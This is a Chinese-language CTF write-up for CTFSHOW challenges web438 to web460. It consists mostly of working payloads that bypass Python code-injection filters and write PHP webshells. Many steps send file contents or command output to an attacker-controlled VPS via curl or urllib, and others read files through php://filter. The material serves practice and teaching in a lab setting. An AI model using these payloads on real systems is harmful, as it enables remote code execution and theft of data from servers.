CTFSHOW | 其他篇题解(三)web438 - web460
前言
由于题目比较多,所以分三个部分来写,这是第三部分
题目列表
web438
这题跟web435方法一样,我们简单回顾一下过程
为了绕过限制,可以反转代码来执行,具体方法是用字符串切片方法来反转字符串
1 | ?code=str(')"`sl`=p?反转端口:你的反转vps地址//:ptth lruc"(metsys.so ;so tropmi'[::-1]) |
可以先用str
在网页看原始代码,检查是否正确
然后套个exec
执行这串代码就可以
payload:
1 | ?code=str(exec(')"`sl`=p?反转端口:你的反转vps地址//:ptth lruc"(metsys.so ;so tropmi'[::-1])) |
我们把它的源码爆出来看看
1 | ?code=str(exec(')"`yp.ppa 0 w- 46esab`=p?反转端口:你的反转vps地址//:ptth lruc"(metsys.so ;so tropmi'[::-1])) |
1 | from flask import Flask |
这题比web437多过滤了{
,但这个符号我们用不到,所以不影响
payload:
1 | ?code=str(exec(')"`galf/ tac`=p?反转端口:你的反转vps地址//:ptth lruc"(metsys.so ;so tropmi'[::-1])) |
web439
这题可以继续用上题的方法,我们把源码爆出来分析一下
1 | ?code=str(exec(')"`yp.ppa 0 w- 46esab`=p?反转端口:你的反转vps地址//:ptth lruc"(metsys.so ;so tropmi'[::-1])) |
1 | from flask import Flask |
可以看到这题比上题多过滤了\x
,\x
是一种转义序列,用来表示十六进制形式的字符,比如 \x41
代表 ASCII 字符 'A'
但是我们并没有用到这个,所以不影响
payload:
1 | ?code=str(exec(')"`galf/ tac`=p?反转端口:你的反转vps地址//:ptth lruc"(metsys.so ;so tropmi'[::-1])) |
web440
这题把引号禁了,我们可以用chr构造字符串。先用ord返回unicode数值,然后再经过chr转换成字符即可,我们写个python脚本
payload:
1 | s = "import os;os.system('curl http://你的vps地址:端口?p=`ls`')" |
把结果拼接到网站GET发送
1 | ?code=你的代码运行结果 |
修改命令为cat /flag
获取flag即可
web441
经过分析,这题把加号过滤了,放出部分源码看看
1 | re.compile(r'os|open|system|read|eval|builtins|curl|_|getattr|{|\'|"|\+') |
那我们用join函数来拼接字符即可,例如.join(['1','2','3'])
,结果是 ‘123’。 join必须作为字符串的方法调用,即调用它的对象必须是字符串,所以前面要有字符串和点号(.
)来调用该函数
payload:
1 | s = "import os;os.system('curl http://你的vps地址:端口?p=`ls`')" |
把结果拼接到网站GET发送
1 | ?code=你的代码运行结果 |
修改命令为cat /flag
获取flag即可
web442
这题把数字过滤了
1 | re.compile(r'os|open|system|read|eval|builtins|curl|_|getattr|{|\'|"|\+|[0-9]') |
我们用request.args.get
方法获取参数值即可。request.args.get
是 Flask 框架中获取 URL 查询参数(即 GET 请求中 URL 中 ?key=value
部分参数)的方法
payload:
1 | ?code=str(exec(request.args.get(request.method)))&GET=import os;os.system('curl http://你的vps地址:端口?p=`cat /flag`') |
web443
把request过滤了,关键代码如下
1 | re.compile(r'os|open|system|read|eval|builtins|curl|_|getattr|{|\'|"|\+|[0-9]|request') |
题目提示提交参数为POST,那我们后面用POST提交数据
这题我们可以继续用request.args.get
,不过里面的request
需要变换一下。我们打印全局变量出来看看
1 | code=str(globals()) |
可以看到里面有个键是request
,我们要利用的就是这个。由于Python 中列表、元组、字符串等序列的索引是从 0 开始的,所以request
所在的索引为10。又因为数字和加号被禁了,所以我们可以用True
来表示1,用两个减号表示加号
因此10可以这么写
1 | True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True) |
然后用list(globals().keys())[]
来获取对应的键名,再放进globals()[]
获取对应的属性和方法,从而调用args.get()
获取参数值
1 | globals()[list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]] |
可以把这个理解为request
,那么request.args.get(request.method)
就等于
1 | globals()[list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]].args.get(globals()[list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]].method) |
然后在路径后面拼接参数POST,传入代码即可
1 | ?POST=import os;os.system('curl http://你的vps地址:端口?p=`ls`') |
到这里,我们成功把代码弄好了,可以用str函数打印出来验证一下,POST传入
1 | code=str(globals()[list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]].args.get(globals()[list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]].method)) |
最后用exec函数运行代码即可
POST传入
1 | code=str(exec(globals()[list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]].args.get(globals()[list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]].method))) |
GET传入
1 | ?POST=import os;os.system('curl http://你的vps地址:端口?p=`cat /flag`') |
web444
这题的附件把代码给出来了
1 | from flask import Flask |
这题把len过滤了,可以继续用上题的方法
POST传入
1 | code=str(exec(globals()[list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]].args.get(globals()[list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]].method))) |
GET传入
1 | ?POST=import os;os.system('curl http://你的vps地址:端口?p=`cat /flag`') |
web445
这题代码总体跟上题差不多,不过开头那里把os.system
和os.popen
去掉了
那直接调用肯定是不行的了,可以用reload函数重新加载os模块,然后再重新调用system函数
简单介绍一下reload
,reload
是 Python 中用于重新加载已导入模块的函数。
作用
- Python 的模块在导入时会被缓存,后续再次导入同一模块时不会重新执行模块代码,而是直接使用缓存
reload
函数可以让已经导入的模块重新执行代码,更新模块内容(相当于“刷新”模块),适合在开发或调试时修改代码后即时生效,而不需要重启程序
使用方法
- Python 2 中
reload()
是内置函数,可以直接调用 - Python 3 中,
reload()
被移到importlib
模块中,需要先导入使用
我们POST传入
1 | code=str(exec(globals()[list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]].args.get(globals()[list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]].method))) |
GET传入
1 | ?POST=from importlib import reload;reload(os);os.system('curl http://你的vps地址:端口?p=`cat /flag`') |
成功得到flag
web446
这题相比上题把imp.reload
函数去掉了
imp
是 Python 早期用于动态加载模块的内置模块,在 Python 3.4 之后,imp
模块已被废弃,不再推荐使用,而是被更强大的 importlib
模块所取代
所以这题可以继续使用上题的方法
POST传入
1 | code=str(exec(globals()[list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]].args.get(globals()[list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]].method))) |
GET传入
1 | ?POST=from importlib import reload;reload(os);os.system('curl http://你的vps地址:端口?p=`cat /flag`') |
web447
对比一下代码
这题过滤了挺多东西,例如用于创建和管理子进程的subprocess
模块和用于测量一小段代码执行时间的timeit
模块,但是不影响我们用之前的方法
POST传入
1 | code=str(exec(globals()[list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]].args.get(globals()[list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]].method))) |
GET传入
1 | ?POST=from importlib import reload;reload(os);os.system('curl http://你的vps地址:端口?p=`cat /flag`') |
web448
对比一下代码
这题把好多模块都设置为None,sys.modules
是一个字典,记录了所有已加载的模块。键为模块名,值为模块对象
将 sys.modules[‘模块名’] 设为 None,可以让 Python 认为该模块已被加载,但实际值为 None。这会导致后续 import 该模块时,不再真正加载,而是返回 None(或者报错)
这时我们就不能用reload了,因为 Python 会在 sys.modules
里查找,发现值为 None,而不是模块对象,于是 import 或 reload 过程中会抛出 ModuleNotFoundError 异常
我们可以用shutil
模块的copy函数把os.py
复制到一个新文件下,然后重新导入新模块即可
POST传入
1 | code=str(exec(globals()[list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]].args.get(globals()[list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]].method))) |
GET传入
1 | ?POST=import shutil;shutil.copy('/usr/local/lib/python3.8/os.py','a.py');import a;a.system('curl http://你的vps地址:端口?p=`cat /flag`') |
web449
这题把sys
模块和importlib
模块都禁用了,而且还删除了sys
模块。之前的方法用不了
我们可以用urllib
模块来发送网络请求,带出flag。urllib 是 Python 的一个标准库模块,用于处理和操作网页 URL,以及通过网络请求获取网页内容等功能。
主要功能
- urllib.request:用于打开和读取 URL,发送 HTTP/HTTPS 请求,并获取响应内容
- urllib.error:包含 urllib.request 相关的异常处理,如请求失败时的错误
- urllib.parse:用于解析 URL,包括分解和构造 URL 的各个部分
- urllib.robotparser:解析和处理网站的 robots.txt 文件,判断哪些网页允许爬取
POST传入
1 | code=str(exec(globals()[list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]].args.get(globals()[list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]].method))) |
GET传入
1 | ?POST=a=open('/flag').read();from urllib.request import urlopen;urlopen('http://你的vps地址:端口?p='%2Ba) |
%2B
表示加号,如果直接写加号会无法解析,需要先URL编码
web450
题目说执行phpinfo
就可以拿到flag,看代码可知我们只要满足这个正则匹配即可执行代码,我们简单分析一下
^
和$
是锚点,表示匹配字符串的开始和结束[a-z]+
表示匹配一个或多个小写英文字母[\^]
表示匹配一个脱义的插入符号^
举个例子,也就是abc^def^ghi
,满足正则匹配只要在中间加两个^
即可。两个相同的字符异或,得到0,0和另一个字符异或,得到的便是另一个字符
payload:
1 | ?ctfshow=phpinfo^phpinfo^phpinfo |
然后搜索flag
web451
这题把phpinfo
过滤了。前面提到,两个相同的字符异或,得到0,0和另一个字符异或,得到另一个字符,所以我们两两修改一下就好
payload:
1 | ?ctfshow=aaabbbb^phpbbbb^aaainfo |
web452
这题过滤了挺多东西,但操作空间依然很大,直接执行代码就可以
1 | ?ctfshow=echo `ls /`; |
然后读取flaag
payload:
1 | ?ctfshow=echo `cat /flaag`; |
后面在网上看了其他方法,可以用括号包住进行字符串拼接
1 | (php.info)(); |
web453
打开网站查看源代码,可以看到提示
我们GET传入
1 | /ctf/show?s=XXX |
POST传入
1 | s=index.php |
然后查看网页源码,可以看到index.php
代码,下面展示部分代码
1 | class ctf{ |
也就是我们访问路径/ctf/file
,然后POST传入内容,就会被写进shell.php
。接着再访问路径/ctf/exec
就可以执行shell.php
的代码
同样的,我们用curl外带执行系统命令即可
首先GET传入
1 | /ctf/file |
POST传入
1 | s=<?php system('curl http://你的vps地址:端口?p=`cat f*`');?> |
然后访问路径/ctf/exec
,最后在服务器查看结果即可
web454
跟上题一样,我们先查看源码
1 | class ctf{ |
这题把system
换成include
了,方法跟之前一样,只是最后的路径要改一下
GET传入
1 | /ctf/file |
POST传入
1 | s=<?php system('curl http://你的vps地址:端口?p=`cat f*`');?> |
然后访问路径/ctf/include
,最后在服务器查看结果即可
web455
查看源码,这题比上题多了个reload
函数,但是用处不大。同时include
函数也改回exec
函数了,可以用回web453的方法
1 | public function reload($request,$response){ |
GET传入
1 | /ctf/file |
POST传入
1 | s=<?php system('curl http://你的vps地址:端口?p=`cat f*`');?> |
然后访问路径/ctf/exec
,最后在服务器查看结果
web456
除去reload
函数,这题源码相比web453没怎么变,就只是改了end信息,因此可以继续用之前的方法
GET传入
1 | /ctf/file |
POST传入
1 | s=<?php system('curl http://你的vps地址:端口?p=`cat f*`');?> |
然后访问路径/ctf/exec
,最后在服务器查看结果
web457
我们看看admin类
1 | class admin extends user{ |
简单分析一下
check()
中调用了call_user_func($this->password)
:call_user_func
用于调用回调函数,参数可以是函数名字符串或可调用变量- 这里
$this->password
被当成函数名调用,函数执行的结果赋给$u
- 最后判断
$u
是否等于'admin'
,相等则返回true
,否则返回false
因此我们传入p=phpinfo
触发函数使其返回值为True即可,然后传入u=admin
payload:
1 | ?u=admin&p=phpinfo |
web458
这题改为$u==='admin'
,变成强比较了
1 | class admin extends user{ |
因为类名为admin,我们可以给p传入get_class
获取类名,然后再传入u=admin
,就满足条件了
payload:
1 | ?u=admin&p=get_class |
web459
这题用了copy函数,PHP 中的copy()
函数是用于复制文件的内置函数
语法
1 | bool copy ( string $source , string $dest [, resource $context ] ) |
$source
:必需,要复制的源文件路径$dest
:必需,目标文件路径(包含文件名)$context
:可选的上下文资源
我们用php伪协议即可
payload:
1 | ?u=php://filter/read=convert.base64-encode/resource=flag.php&p=1 |
然后访问路径/1.php
读取flag的base64编码,解码即可
web460
这题跟web449相比,多了一些时间检测的代码,我们看看关键部分
1 | @func_set_timeout(0.7) |
1 | try: |
有两个区别
1. 执行超时机制
使用了 func-timeout
库,为 run
函数设置了 0.7 秒的超时限制。这意味着如果传入的 code
执行时间超过 0.7 秒,程序会抛出 FunctionTimedOut
异常,从而中断执行
2. 随机延迟
在 run
函数中,执行 eval
之前有一个 time.sleep(random.random())
。这会增加一个 0 到 1 秒之间的随机延迟
算上随机延迟,也就是我们传入的代码必须要执行时间小于0.7s
这题有些难,参考网上Y4tacker师傅的做法,可以配合urllib
外带数据
payload:
1 | def getNumber3(number): |
把结果拼接进Body然后POST发送
1 | code=你的代码运行结果 |
简单解释一下这个代码
1 | s = 'import urllib.request;import ssl;f=open("/flag").read();context = ssl._create_unverified_context();url = "http://你的vps地址:端口?p="+f;request = urllib.request.Request(url);response = urllib.request.urlopen(url=request,context=context)' |
import urllib.request
:导入用于打开和读取 URL 的模块import ssl
:导入处理 TLS/SSL 连接的模块f = open("/flag").read()
:打开根目录下的flag
文件,读取内容,并赋值给变量f
context = ssl._create_unverified_context()
:创建一个不验证 SSL 证书的上下文环境,避免因证书问题阻塞请求request = urllib.request.Request(url)
:创建针对该 URL 的 HTTP 请求response = urllib.request.urlopen(url=request, context=context)
:发送请求并获取响应,使用前面创建的 SSL 上下文
参考
yu22x:CTFSHOW其他篇
Y4tacker:[CTFSHOW]CTFSHOW-其他WP
CTFSHOW | 其他篇题解(三)web438 - web460
https://waynejoon.github.io/posts/ctfshow-others-3-web438-web460/